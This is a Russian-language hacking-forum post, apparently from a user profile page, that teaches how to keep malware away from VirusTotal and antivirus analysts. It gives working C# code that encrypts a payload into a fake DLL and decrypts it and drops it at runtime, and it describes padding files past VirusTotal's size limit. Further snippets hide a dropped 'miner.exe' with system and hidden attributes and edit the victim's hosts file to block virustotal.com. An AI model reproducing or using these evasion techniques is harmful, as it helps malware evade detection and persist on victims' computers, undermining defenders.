1 1 2 1 2

Ramazanrus

Пользователи
  • Content Count

    1
  • Last visited

Community Reputation

0 Обычный

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

  1. Сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов. Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют. По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ; Приступим к первому варианту. Здесь я увидел 2 метода : 1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный. Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 : Сам exe файлик Код: using System; using System.IO; using System.Security.Cryptography; using System.Text; namespace ExePart { class Program { static string password = "shopozanyanime"; static void Main(string[] args) { if (File.Exists("file.dll")) { byte[] decrypted = decrypt(File.ReadAllBytes("file.dll")); File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted); } } public static byte[] decrypt(byte[] cipherBytes) { byte[] plainBytes; Aes encryptor = Aes.Create(); encryptor.Mode = CipherMode.CBC; SHA256 mySHA256 = SHA256Managed.Create(); encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password)); encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; MemoryStream memoryStream = new MemoryStream(); ICryptoTransform aesDecryptor = encryptor.CreateDecryptor(); CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write); string plainText = String.Empty; try { cryptoStream.Write(cipherBytes, 0, cipherBytes.Length); cryptoStream.FlushFinalBlock(); plainBytes = memoryStream.ToArray(); } finally { memoryStream.Close(); cryptoStream.Close(); } return plainBytes; } } } DllCreator Код: using System.IO; using System.Security.Cryptography; using System.Text; namespace DllCreator { class Program { static string password = "shopozanyanime"; static void Main(string[] args) { byte[] start = File.ReadAllBytes("in.exe"); byte[] encrypted = encrypt(start); File.WriteAllBytes("file.dll", encrypted); } public static byte[] encrypt(byte[] plainBytes) { Aes encryptor = Aes.Create(); encryptor.Mode = CipherMode.CBC; SHA256 mySHA256 = SHA256Managed.Create(); encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password)); encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }; MemoryStream memoryStream = new MemoryStream(); ICryptoTransform aesEncryptor = encryptor.CreateEncryptor(); CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write); cryptoStream.Write(plainBytes, 0, plainBytes.Length); cryptoStream.FlushFinalBlock(); byte[] cipherBytes = memoryStream.ToArray(); memoryStream.Close(); cryptoStream.Close(); return cipherBytes; } } } Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению 2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor. Открываем нашу программу в Hex Editor Идем в сам низ, где заканчиваются байти Нажимаем Edit - > Insert bytes -> ставим много 999999 Сохраняем . Как мы видим размер увеличился - программа работает Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы. Теперь поговорим о методах защиты после установки малваре на пк жертвы : 1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или) Код: string path = @"C:\miner.exe"; File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden) 2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом Код: String path [email protected]"C:\Windows\System32\drivers\etc\hosts"; StreamWriter sw = new StreamWriter(path, true); String sitetoblock = "\n 127.0.0.1 virustotal.com"; sw.Write(sitetoblock); sw.Close(); Минус в том, что могут понадобиться админ права. 3) Если файл будет существовать только в оперативной и не будет имеить физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.